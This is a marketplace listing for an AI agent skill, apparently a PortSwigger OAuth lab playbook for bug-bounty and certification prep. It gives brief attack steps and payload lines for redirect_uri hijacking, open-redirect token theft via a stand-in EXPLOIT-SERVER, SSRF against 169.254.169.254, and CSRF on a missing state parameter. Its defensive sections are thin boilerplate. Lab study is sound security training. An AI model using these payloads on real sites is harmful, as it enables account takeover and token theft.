# OAuth Authentication — Deep Dive

> Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

- Skill: `shulkwisec/oauth-authentication-deep-dive` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds add shulkwisec/oauth-authentication-deep-dive`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/oauth-authentication-deep-dive/raw
- Safety review: pending (external: skill-scanner PASS, skillspector CAUTION)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Integrations & APIs
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-08-19
- Page: https://skillmd.com/skills/shulkwisec/oauth-authentication-deep-dive

---


# OAuth Authentication — Deep Dive

> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,
> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

## When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques

## Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured


## Workflow
### Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
### Phase 2: Exploitation
- Apply standard lab payloads.
### Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.

## Lab Playbooks

### Lab 1: Implicit flow bypass 🟡 PRACTITIONER
Intercept token response, change email/sub to victim's → authenticate as victim.
---

### Lab 2: SSRF via OpenID registration 🟡 PRACTITIONER
Register OAuth client with `logo_uri` pointing to metadata endpoint: `http://169.254.169.254/...`
---

### Lab 3: Forced profile linking 🟡 PRACTITIONER
Missing `state` parameter → CSRF attach your OAuth to victim's account.
---

### Lab 4: Account hijack via redirect_uri 🟡 PRACTITIONER
```
redirect_uri=https://EXPLOIT-SERVER
```
Steal OAuth code, exchange for victim's access token.
---

### Lab 5: Token theft via open redirect 🟡 PRACTITIONER
```
redirect_uri=https://TARGET/oauth-callback/../post/next?path=https://EXPLOIT-SERVER/
```
Chain open redirect to steal implicit flow tokens via Referer.
---

### Lab 6: Token theft via proxy page 🔴 EXPERT
Find page that sends Referer with token to attacker-controllable iframe source.
---


## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.

## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex


## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |


## Output Format
```
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
```

## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)